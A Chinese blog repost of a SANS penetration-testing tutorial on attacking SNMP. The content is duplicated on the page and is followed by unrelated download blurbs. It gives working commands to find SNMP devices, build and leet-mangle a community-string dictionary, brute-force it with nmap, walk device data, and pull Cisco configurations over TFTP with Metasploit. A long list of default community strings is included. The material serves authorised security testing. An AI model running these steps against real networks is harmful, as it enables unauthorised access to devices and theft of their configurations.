- 浏览: 287740 次
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
原文地址:http://pen-testing.sans.org/blog/pen-testing/2013/05/31/invasion-of-the-network-snatchers-part-i
个人认为本文精彩的地方在于如何制作暴力破解的字典
在大的组织中,网络设备的认证是通过TACACS或Radius控制的,他们同来集中管理和登录认证。这种方法允许网络管理员使用域帐户登录设备(通常是他们用来检查邮件的帐户)。渗透测试者有很多方法可以攻击者这些帐户,所以我们转移到另一个攻击向量--攻击SNMP。
很多网络设备都可以使用SNMP设备管理和监控。幸运的是,这个服务通常不想其他TCP服务(SSH,HTTP(S),Telnet)进行强化。通常不需要登录,以及不支持logout机制。它包含一些显著的缺点,这对渗透测试者来说是好事。
SNMP有三个版本:1,2C和3.版本1和2C对于渗透测试来说是一样的。他们只通过字符团进行认证,不支持加密或信息完整性验证。版本3修复了一些问题,并且实现了口令保护机制以及传输完整性验证。
猜测v1和v2的口令比较容易,因为v3需要提供username和字符团,而v1/2c不需要。
在我们进行暴力破解之前,我们需要一组支持SNMP的目标。我们使用nmap来扫描:
nmap将会检查-L参数指定的文件中的目标的UDP(-sU)端口161,也就是SNMP端口,将结果保存成nmap的三种格式中,文件名叫output,包含output.nmap, output.gnmap, 和output.xml。为了提高速度和效率,禁止主机发现检查(-PN),这样我们只发送一个数据包到161端口。值得注意的一点是:这个扫描充分利用SNMPv3版本的返回响应(未授权的响应)的这个特点,并且它可能漏掉只支持v2c或v1的设备。从技术上讲,我们将会得到支持SNMPv3的设备,但是通常这些设备都支持v2c(甚至v1).所以在许多组织,使用SNMPv3的列表将会被用于暴力破解v2c和v1.
现在我们获得允许SNMP的设备
接下来我们尝试猜测用于认证的v1/v2c的字符团。通常有两种字符团:读写和只读。管理员通常回来字符团后面追加访问级别来区分不同的字符团(例如sometext-read/sometext-write, sometext-public/sometext-private),现在我们创建一组基础词组和一组后缀,然后组合他们。
现在我们通过基本词组和后缀创建一个组合词组
管理元通常使用l337sp34k(https://en.wikipedia.org/wiki/Leet)来是密码更难猜测,John the Ripper支持一个该特性
KoreLogic(http://contest-2010.korelogic.com/rules.html)上的人给John the Ripper开发了很多好的rules。使用规则很简单--下载规则,把规则追加到/etc/john/john.conf文件中
然后给我们的字符团进行规则处理
同时我们也需要下载一个默认的口令列表(https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt)。我们将使用组合后的列表,l33t处理后的列表以及默认列表组成一个更大的字典。然后删除重复的以及超过20个单词的字符串。
现在使用nmap的snmp-brute模块进行破解
我们获得了一个口令,从他的名字上看,很可能是读写权限的口令。现在我们从设备上获取信息
对于SNMP,数据和设备配置组成一个层级树。树上的每一个位置叫做OID。可以使用snmpwalk 来获取信息
我们可以使用SNMP查询SysDescr (OID 1.3.6.1.2.1.1.1) 来获得设别的细节:
我们可以从一个使用SNMP和TFTP的思科设备上dump配置文件。可以使用metasploit来简化工作:
管理员通常在整个网络中使用相同的字符团。所以一旦我们获得了一个设备的字符团,我们可以使用它来试探全部网络。RHOSTS选项接收多个目标,甚至是文件msf>
然后我们可以在/tmp/文件夹下获得很多配置文件。
注意:
1. V1和2c 只在正确的字符团下才会响应,V3则把响应作为加密的一部分。
2. kali中可以使用onesixtyone来进行暴力破解
3. windows中可以使用SNScan
http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
4. snmp默认口令:https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt
public
private
0
0392a0
1234
2read
4changes
ANYCOM
Admin
C0de
CISCO
CR52401
IBM
ILMI
Intermec
NoGaH$@!
OrigEquipMfr
PRIVATE
PUBLIC
Private
Public
SECRET
SECURITY
SNMP
SNMP_trap
SUN
SWITCH
SYSTEM
Secret
Security
Switch
System
TENmanUFactOryPOWER
TEST
access
adm
admin
agent
agent_steal
all
all private
all public
apc
bintec
blue
c
cable-d
canon_admin
cc
cisco
community
core
debug
default
dilbert
enable
field
field-service
freekevin
fubar
guest
hello
hp_admin
ibm
ilmi
intermec
internal
l2
l3
manager
mngt
monitor
netman
network
none
openview
pass
password
pr1v4t3
proxy
publ1c
read
read-only
read-write
readwrite
red
regional
rmon
rmon_admin
ro
root
router
rw
rwa
san-fran
sanfran
scotty
secret
security
seri
snmp
snmpd
snmptrap
solaris
sun
superuser
switch
system
tech
test
test2
tiv0li
tivoli
trap
world
write
xyzzy
yellow
个人认为本文精彩的地方在于如何制作暴力破解的字典
在大的组织中,网络设备的认证是通过TACACS或Radius控制的,他们同来集中管理和登录认证。这种方法允许网络管理员使用域帐户登录设备(通常是他们用来检查邮件的帐户)。渗透测试者有很多方法可以攻击者这些帐户,所以我们转移到另一个攻击向量--攻击SNMP。
很多网络设备都可以使用SNMP设备管理和监控。幸运的是,这个服务通常不想其他TCP服务(SSH,HTTP(S),Telnet)进行强化。通常不需要登录,以及不支持logout机制。它包含一些显著的缺点,这对渗透测试者来说是好事。
SNMP有三个版本:1,2C和3.版本1和2C对于渗透测试来说是一样的。他们只通过字符团进行认证,不支持加密或信息完整性验证。版本3修复了一些问题,并且实现了口令保护机制以及传输完整性验证。
猜测v1和v2的口令比较容易,因为v3需要提供username和字符团,而v1/2c不需要。
在我们进行暴力破解之前,我们需要一组支持SNMP的目标。我们使用nmap来扫描:
$ sudo nmap -PN -sU -p 161 -iL targets.txt -oA output
nmap将会检查-L参数指定的文件中的目标的UDP(-sU)端口161,也就是SNMP端口,将结果保存成nmap的三种格式中,文件名叫output,包含output.nmap, output.gnmap, 和output.xml。为了提高速度和效率,禁止主机发现检查(-PN),这样我们只发送一个数据包到161端口。值得注意的一点是:这个扫描充分利用SNMPv3版本的返回响应(未授权的响应)的这个特点,并且它可能漏掉只支持v2c或v1的设备。从技术上讲,我们将会得到支持SNMPv3的设备,但是通常这些设备都支持v2c(甚至v1).所以在许多组织,使用SNMPv3的列表将会被用于暴力破解v2c和v1.
现在我们获得允许SNMP的设备
$ grep '161/open/' output.gnmap | cut -d' ' -f 2 > snmpdevices.txt
接下来我们尝试猜测用于认证的v1/v2c的字符团。通常有两种字符团:读写和只读。管理员通常回来字符团后面追加访问级别来区分不同的字符团(例如sometext-read/sometext-write, sometext-public/sometext-private),现在我们创建一组基础词组和一组后缀,然后组合他们。
$ cat << EOF > basewords.txt companyname CompanyName company Company productname ProductName Admin admin Secret secret EOF $ cat << EOF > suffixes.txt read Read write Write readonly ReadOnly public Public private Private rw RW ro RO EOF
现在我们通过基本词组和后缀创建一个组合词组
$ for GUESS in `cat basewords.txt`; do for SUFFIX in `cat suffixes.txt`; do echo $GUESS$SUFFIX; echo $GUESS-$SUFFIX; done; done > combo-clean.txt $ head -n 5 combo-clean.txt companynameread companyname-read companynameRead companyname-Read companynamewrite
管理元通常使用l337sp34k(https://en.wikipedia.org/wiki/Leet)来是密码更难猜测,John the Ripper支持一个该特性
KoreLogic(http://contest-2010.korelogic.com/rules.html)上的人给John the Ripper开发了很多好的rules。使用规则很简单--下载规则,把规则追加到/etc/john/john.conf文件中
$ wget 'http://contest-2010.korelogic.corules.txt' $ cat rules.txt >> /etc/john/john.conf
然后给我们的字符团进行规则处理
$ john --wordlist:combo-clean.txt --rules:KoreLogicRulesL33t --stdout > combo-l33t.txt
同时我们也需要下载一个默认的口令列表(https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt)。我们将使用组合后的列表,l33t处理后的列表以及默认列表组成一个更大的字典。然后删除重复的以及超过20个单词的字符串。
$ cat wordlist-common-snmp-community-strings.txt combo-clean.txt combo-l33t.txt | sort -u | grep -vE '.{21,}' > completeguesses.txt
现在使用nmap的snmp-brute模块进行破解
$ nmap -sU 1.2.3.4 --script snmp-brute --script-args snmp-brute.communitiesdb=completeguesses.txt Nmap scan report for 1.2.3.4 PORT STATE SERVICE 161/udp open snmp | snmp-brute: |_ [color=red]C0mpanyNam3-RW - Valid credentials[/color]
我们获得了一个口令,从他的名字上看,很可能是读写权限的口令。现在我们从设备上获取信息
对于SNMP,数据和设备配置组成一个层级树。树上的每一个位置叫做OID。可以使用snmpwalk 来获取信息
$ snmpwalk -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1 > ciscosnmpdump.txt
我们可以使用SNMP查询SysDescr (OID 1.3.6.1.2.1.1.1) 来获得设别的细节:
$ snmpget -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1.2.1.1.1 Cisco Internetwork Operating System Software IOS (tm) 2500...
我们可以从一个使用SNMP和TFTP的思科设备上dump配置文件。可以使用metasploit来简化工作:
管理员通常在整个网络中使用相同的字符团。所以一旦我们获得了一个设备的字符团,我们可以使用它来试探全部网络。RHOSTS选项接收多个目标,甚至是文件msf>
auxiliary/scanner/snmp/cisco_config_tftp msf auxiliary(cisco_config_tftp)> set LHOST 1.1.1.1 msf auxiliary(cisco_config_tftp)> set OUTPUTDIR /tmp/ msf auxiliary(cisco_config_tftp)> set RHOSTS file:/tmp/snmpdevices.txt msf auxiliary(cisco_config_tftp)> set COMMUNITY C0mpanyNam3-RW msf auxiliary(cisco_config_tftp)> run
然后我们可以在/tmp/文件夹下获得很多配置文件。
注意:
1. V1和2c 只在正确的字符团下才会响应,V3则把响应作为加密的一部分。
2. kali中可以使用onesixtyone来进行暴力破解
root@kali:~# onesixtyone -h onesixtyone: invalid option -- 'h' onesixtyone 0.3.2 [options] <host> <community> -c <communityfile> file with community names to try -i <inputfile> file with target hosts -o <outputfile> output log -d debug mode, use twice for more information -w n wait n milliseconds (1/1000 of a second) between sending packets (default 10) -q quiet mode, do not print log to stdout, use with -l examples: ./s -c dict.txt 192.168.4.1 public ./s -c dict.txt -i hosts -o my.log -w 100
3. windows中可以使用SNScan
http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
4. snmp默认口令:https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt
public
private
0
0392a0
1234
2read
4changes
ANYCOM
Admin
C0de
CISCO
CR52401
IBM
ILMI
Intermec
NoGaH$@!
OrigEquipMfr
PRIVATE
PUBLIC
Private
Public
SECRET
SECURITY
SNMP
SNMP_trap
SUN
SWITCH
SYSTEM
Secret
Security
Switch
System
TENmanUFactOryPOWER
TEST
access
adm
admin
agent
agent_steal
all
all private
all public
apc
bintec
blue
c
cable-d
canon_admin
cc
cisco
community
core
debug
default
dilbert
enable
field
field-service
freekevin
fubar
guest
hello
hp_admin
ibm
ilmi
intermec
internal
l2
l3
manager
mngt
monitor
netman
network
none
openview
pass
password
pr1v4t3
proxy
publ1c
read
read-only
read-write
readwrite
red
regional
rmon
rmon_admin
ro
root
router
rw
rwa
san-fran
sanfran
scotty
secret
security
seri
snmp
snmpd
snmptrap
solaris
sun
superuser
switch
system
tech
test
test2
tiv0li
tivoli
trap
world
write
xyzzy
yellow
发表评论
-
[转]Tunneling Data and Commands Over DNS to Bypass Firewalls
2015-07-13 20:44 480https://zeltser.com/c2-dns-tunn ... -
[译]从配置错误的web server中dump git数据
2015-03-26 01:07 581原文地址:https://blog.netspi.com/du ... -
[译]解密MSSQL密码
2015-03-26 00:43 2876原文地址: https://blog.ne ... -
自动化Man-in-the-Middle SSHv2攻击
2015-03-18 01:26 1041参考:http://www.david-guembel.de/ ... -
[译]使用wireshark解密TLS浏览器流量
2015-03-12 00:57 4126原文地址:https://jimshaver.net/2015 ... -
[转]John the ripper hash format cheetsheet
2015-03-10 01:30 1033原文地址:http://pentestmonkey.net/c ... -
[译]使用Volatility从memory dump获得密码
2014-12-30 12:27 3807原文地址:https://cyberarms.wordpres ... -
man crunch
2014-12-28 23:35 400http://adaywithtape.blogspot.co ... -
password
2014-12-28 17:32 398wordlist: http://hashcrack.blog ... -
Kerberos攻击
2014-12-18 01:39 621参考: 1. http://securityweekly.co ... -
[译]剪切粘贴二进制文件
2014-12-17 01:20 849原文地址:http://pen-testing.sans.or ... -
the-backdoor-factory
2014-11-27 01:30 1912参考:https://github.com/secretsqu ... -
[工具]PCredz
2014-11-26 22:10 532项目地址:https://github.com/lgandx/ ... -
[译]PsExec绕过UAC
2014-11-25 01:15 1171原文地址:http://pen-testing.sans.or ... -
Kerberos 认证过程
2014-11-22 01:06 1006... -
[译]phpMyAdmin利用
2014-11-21 02:11 616原文地址:http://pen-testing.sans.or ... -
从域控制器中dump hash(二)
2014-11-21 01:39 770参考:http://blog.cyberis.co.uk/20 ... -
[译]从域控制器中dump hash
2014-11-21 01:29 1231原文地址:http://www.kioptrix.com/bl ... -
[译]用python来玩转Volume Shadow copies
2014-11-20 22:54 1236原文地址:http://pen-testi ... -
[译]通过认证的SMB Sessions攫取信息
2014-11-20 02:06 1226原文地址:http://pen-testing.sans.or ...
相关推荐
net-snmp 使用说明 Net-SNMP 是一个功能强大且广泛使用的网络管理协议工具,能够帮助管理员对网络设备进行监控和管理。本文将对 Net-SNMP 的使用进行说明,并提供了相关的查询命令和示例。 首先,需要在环境中设置...
SNMP是一种广泛使用的网络管理协议,它允许管理员监控和管理网络设备,如路由器、交换机、服务器等。QT SNMP库使得开发人员能够在Linux、Windows和Mac等不同操作系统上构建跨平台的SNMP应用。 在描述中提到的"qt-...
### SNMP查看CPU及内存使用率:深入解析与实践 #### 概述 简单网络管理协议(SNMP,Simple Network Management Protocol)是一种广泛应用于网络管理的标准协议,用于收集和组织网络设备的信息,以及修改该信息以...
总之,SNMP是一个强大且广泛使用的网络管理工具,理解其原理和操作方法对于网络运维至关重要。通过学习SNMP,你可以更有效地监控网络状态,及时发现并解决问题,提升网络管理效率。阅读"SNMP操作手册"将进一步帮助你...
### SNMPc 安装与使用指南详析 #### 一、SNMPc简介与功能概述 SNMPc(Simple Network Management Protocol Center)是一款强大的网络管理工具,它支持SNMP(简单网络管理协议),用于监控和管理网络设备。通过SNMP...
宏杉科技SNMP使用指导书V1.2.40T04.pdf是一份宏杉科技公司关于存储设备中简单网络管理协议(SNMP)的使用手册。SNMP是用于网络设备远程管理的一种协议,它允许网络管理员通过网络设备上的代理收集关于网络设备性能、...
该工具是运行于windows平台的exe可执行文件,跟linux平台的snmpwalk功能类似,使用方法:cmd→cd到该exe文件的目录→snmpwalk.exe + option(通过snmpwalk.exe -h可以获得相关参数及运用方法,包括version、...
使用SNMP4J,开发者能够通过编写Java代码来实现对网络设备的操作,比如检索设备信息、修改设备配置、接收告警通知等。 在这份文档中,提到了几个SNMP4J中实现的操作,包括GET、GETNEXT、GETBULK、Walk和SET。 GET...
### Windows 下编译使用 Net-SNMP 的详细指南 #### 一、Net-SNMP简介与下载 Net-SNMP 是一个开源项目,提供了一系列关于 Simple Network Management Protocol (SNMP) 的库和工具。它支持多种操作系统平台,包括 ...
SNMP(简单网络管理协议)是一种广泛用于网络设备管理的标准协议,它允许网络管理员远程监控和配置网络设备。`snmpwalk`是SNMP工具箱中的一个重要命令行工具,用于遍历网络设备上的MIB(Management Information Base...
**SNMP(简单网络管理协议)** SNMP(Simple Network Management Protocol)是一种广泛应用于网络设备管理的协议,它允许管理员远程监控和管理网络设备,如路由器、交换机、服务器和其他支持SNMP的设备。SNMP协议...
在Linux系统中,SNMP的使用可以帮助我们有效地管理和监控服务器、路由器、交换机等网络设备。这个“snmp.rar”压缩包可能是包含了一套精简版的SNMP实现,用于在Linux环境下运行。 首先,让我们了解一下SNMP的基本...
### SNMP使用的风险及应对策略 #### 一、SNMP概览与背景知识 简单网络管理协议(Simple Network Management Protocol,简称SNMP)是一项用于管理网络设备的重要协议,它最初开发于20世纪90年代初,旨在简化网络...
4. **执行查询**:使用SNMP工具,指定目标主机的IP地址、社区字符串以及要查询的OID,发送SNMP GET请求。对于Java环境,可以使用如`snmp4j`这样的库来编写SNMP查询代码。 5. **解析响应**:收到SNMP响应后,解析...
本文将详细讲解如何使用Java的SNMP4J库来实现SNMP Trap接口,发送这些消息。 首先,我们需要了解SNMP4J库。SNMP4J是Java平台上的一个开源SNMP库,它提供了完整的SNMPv1、SNMPv2c和SNMPv3支持。该库不仅包含SNMP协议...
在这个"snmp.zip"压缩包中,可能包含的是使用C++实现SNMP协议的示例代码,特别是关于get、getnext和set操作的实现。 1. SNMP协议基础 SNMP协议主要由三部分组成:管理信息结构(MIB)、管理站(Manager)和代理...
通过SNMP传感器,PRTG可以监控网络设备的流量、CPU利用率、内存使用情况等。 SolarWinds Network Performance Monitor专为大型网络设计,具有强大的SNMP监控功能。它可以自动发现网络设备,实时监控性能,还提供了...
本文将详细介绍使用 SNMP4J 实现 SNMP Trap 发送与接收的知识点。 SNMPTrap 的定义 SNMP Trap 是一种异步 Notification 消息,用于在网络设备中报告事件或警报信息。Trap 消息可以由网络设备发送到网络管理站点,...
本文将深入探讨如何使用SNMP4J来实现SNMP的基本操作,包括GET、GETNEXT、SET和TRAP。 1. SNMP协议基础: SNMP协议主要由管理站(Manager)和代理(Agent)两部分组成。管理站负责发送请求并接收响应,而代理则驻留...